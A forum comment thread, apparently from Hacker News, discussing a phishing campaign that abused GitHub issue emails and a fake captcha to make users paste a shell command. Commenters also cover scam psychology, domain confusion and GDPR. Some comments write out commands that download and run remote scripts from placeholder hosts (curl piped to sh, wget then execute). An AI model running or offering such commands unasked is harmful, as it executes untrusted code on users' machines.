Nobody is perfect. The more features of credibility, most likely there will be a higher percentage of conversions. But not everybody has excellent vision, is not time-pressured, and is not tired/exhausted.
There are lots of conditions that make otherwise difficult fraud targets more easy to trick.
And if it can be done at large scale / automated, then small conversion rates turn into many successful frauds (compromised accounts).
I've since changed the address bar back to the top…
In the end I didn't loose anything but it was a good wakeup call for sure.
I got a real letter from the IRS two days before I got the scam message on my answering machine. The timing was uncanny and I might easily have fallen for it, had I not already dealt with it.
It’s the same for the Chinese language calls, if you speak Chinese it really resonates.
There was a scam in the 90s where you’d call a number and they’d give you sports betting advice. They’d do it for free as a promotion trying to sell their service when you won. They’d tell half the callers bet team A and the other half team B. The numbers made it work.
“Splitting games 50-50 like that—known in the biz as "double-siding"—is the oldest trick in the handicapper's very thick book. That way he knows he has at least some happy customers coming back. “
https://vault.si.com/vault/1991/11/18/1-900-ripoffs-the-ads-...
In GitHub's case, they already have githubusercontent.com to avoid serving untrusted stuff from their own github.com domain.
Sending marketing or security scanner (potentially very spammy) notification emails from separate domains can help with reputation too, to avoid your main domain getting marked as spam.
These are all legit; Amex having 20 different of domains, half of which smell like phishing, and still sending emails from other domains is just incompetence. Something like marketing people or someone dealing with strategy deciding to do stuff in a certain way, with nobody technical in the room to tell them why that would be a problem. As an example, a friend of mine's organisation wanted to do a SaaS website for their niche, and a separate website to advertise the SaaS (separate domain, visual identity, everything).
And even if everything is up to date Pwn2Own regularly shows that having a user browse to a website is enough to get root access. Thankfully most people don’t have to worry about this since they are unlikely to attract the attention of someone with that level of resources.
re #2: it doesn't really have you typing into shell, 'just paste'
I'm almost bored enough to just start installing weird malware for research and funsies
curl http://obscure.url?random-string | sh
wget random.club/rc-12-release.sh
chmod +x ./rc-12-release.sh
./rc-12-release.sh
almost nobody would actually read the script before running it
git clone http://github.com/unknown/repo.git && cd repo && npm install
$ svn checkout
$ ./configure
$ make
# make install
curl https://url-of-well-known-project | sh
Linux has a very good package management for many years. I see absolute no reason to break this by creating shell installers.
I wouldn’t have fallen for such an obvious ploy, but the original asker seemed like they weren’t particularly technical, judging by the sparse GitHub history and quality of the question. I could see them perhaps falling for that if they were uncritical and too eager to try anything.
Aside from that:
> Nowhere in the email does it say that this is a new issue that has been created, which gives the attacker all the power to establish whatever context they want for this message.
What about the non-user-controlled "(Issue #1)" in the subject line?
It's too common, MS also does this, to be a red flag
So, I wouldn't blame the victims here if the service itself does not realize why that is not such a good idea.
It's not much different from setting up your ssh key - something that you have to do; and new users also go through this workflow by copy pasting commands that GitHub sends them.
Since Microsoft embracing and extending it, GitHub has become one of the worst offenders.
Last month I was in conference where the keynote was from CEO of cyber security company. The whole point of the speech was that we need more money because in some cases more than 80% users still fall into email scams. My very serious question to the speaker was - if after many millions and almost 25 years more than 80% users still click on wrong links, then maybe we do something really wrong?
All our actions are defensive.
Look at our physical security. Basically nothing is reasonably protected. 99% of stuff (buildings, locks) can be broken into with tools available in any home depot.
The key reason why it doesn't happen that much is because it's possible to find the attacker.
Why can any scammed just create a website without any traceability? It wouldn't be foolproof, but it would raise a bar.
because jurisdictional challenges.
Not to mention that this very same traceability would be abused by some other authoritarian gov't to track down dissidents for example.
There's no real way to systematically have good security, if the human element is the weakest link tbh. Securing windows is not a technical problem, but a social and educational one.
Does the domain/server implements required level? No? Block connection. Dtto email with automatic response.
Is your IP in a botnet? Cut it off.
Edit: I already get blocked connection (on target site) because EU regulation is too onerous. I get reminded on basically every Google search I am being censored (Some results may have been removed under data protection law in Europe).
Completely doable.
More like "we want to track every single user coming to our website without giving them the option to not be tracked".
I have been part of se several GDPR compliance projects and it's the other stuff that's the problem.
Data protection officer (recurring cost, even though it is only a part of a job, not full time position) , user data deletion and user data take-out. Compliance is not free. If system wasn't designed from the beginning, it's really expensive to add it.
Restore from backup after disaster recovery - make sure you anonymize/delete people who were deleted after backup was made.
BTW, IP address is PII, so...
Honestly, it would be cheaper to buy everyone in EU VPN.
Why? While I get that, if tracking is part of someone's business model, they want to track as many people as possible, I doubt it would be illegal to give also people that aren't in the EU the option to not be tracked. If it really would be so expensive to be compliant while also differentiating between users connecting from the EU and users connecting from outside the EU, why not just give everyone the option to choose if they want tracking as a measure to cut compliance cost?
Add IP rules at cables inside and out of let's say EU and block it there.
Same way we deal with any non-compliance thing. You can't import it.
Your server/domain doesn't satisfy requirments. Either the originator complies or not (e.g. through trusted third party).
So far, we are building walls and replacing mortar with a new one, while attackers bombard us with complete impunity. This is never going to work.
This would of course need new extensions /protocols (even simplest would require authentication envelope around encrypted traffic).
Not a single response had anything to do with either problem ITA or my comment.
I am not sure if you are troll, 10 y/o or gpt1, but have a nice day.
Try to get a company built around Word to use another tech that doesn't requires running unsigned macros from emails...
You literally can't, they lough at you for saying things like "don't use Microsoft"
The difference for software being marketed like that is that most of its users do not have the knowledge to (in-)validate such claims, so some will believe it. Consequently, some of them lose various amounts of money due to lacking security. Some others don't, so all is fine.
Ultimately he's a businessman seeking for more money. Doesn't mean he can be trusted.
Fortunately, my work email supports IMAP, so I can use a script to scan my inbox for fake phishing emails and delete them.
> curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh
(Yup, .rs is the ccTLD for the Republic of Serbia, of former SFR Yugoslavia)
someone who knows computers (like a programmer) might not fall for it, but people who do not know computers, but is dabbling could easily fall for it.
The copied command specifically puts in a "user friendly captcha message" into the end, to overflow the run dialog textbox, so that a user who obeyed the instructions will see something vaguely resembling valid captcha verification:
# " ''I am not a robot - reCAPTCHA Verification ID: 93752"
It's quite scary that the scammers have put thought and effort into the method of infiltration, because this is "novel" as far as i have heard.
A legitimate GitHub email would never mis-capitalize the company name like that. It would be GitHub, as shown in the footer that the attacker does not control.
OTOH, this is a very common mistake. The article alternates between the correct GitHub and the incorrect Github. So it would be easy to not notice that error.
The reality is different - they leave these huge red flags so that people who aren’t very bright or careful will fall for it.
That is the same reason why scammers put spelling mistakes in emails - not because they don’t know how to use spellcheck, but because they want to filter out those who would spot these mistakes.
They want to scam careless, gullible, „stupid“ people, not someone who is careful enough to spot security red flags.
> Do people really fall for scam like that?
The naive way would be to just clone the repo without any (apparently) options.
I can attest to this because that’s probably what I would do.
The readme would not resolve a problem that someone knowingly had. It would resolve an unknown upcoming problem.
And if you're reading the README after cloning it already, there are instructions for sorting that out too, also suitable for copy and paste.
Or if you downloadeded the ZIP from GitHub - I'm sorry. But you won't be left too confused, at least you won't if you read my README, because my README covers this situation as well.
(Also: don't forget to git submodule update after changing branch! But if you're noting everything my README tells you, you won't.)
I guess critical thinking of devs and wannabee devs has been softened by all the `curl <script> | bash` installation instructions.
Funnily enough there's at least one legit captcha that has you do this: if you have JavaScript/WASM disabled it gives you the option of running the anti-DDOS proof-of-work in a shell and pasting the result in a textbox.
Couple that with gmail having no way to show the full email address (by default - I know you can hover, etc.), rather than the sender-provided "sender name", and my false-positive rate for at least double checking and confirming the sending domain is kinda high...better that than a bunch of false-negatives of course.
Yes. It wouldn't be a thing otherwise. I know at least two fairly intelligent people, one literally being a Mensa member, who fell for sextortion emails and got their files encrypted.
Scareware is based on social engineering, and is crafted to trigger emotional response, not educated one.
You should put a "voice activated" sticker on a random break room appliance (toaster, water/ice dispenser, microwave, coffee machine, ...).
Don't use strong adhesive if your desk is within hearing distance.
First, I assume the author knows the email came from github, as the screenshot does not show this very clearly. If that's the case:
Red flag #1: email links to a variation of real domain. If you don't have information on who github-scanner.com is, it is pretty safe to assume it's a scam , just because it sounds like a real website.
GIANT Enormous Huge Red Flag #2: captcha asks you to types command in shell. I have no comment on how naive one must be to do this.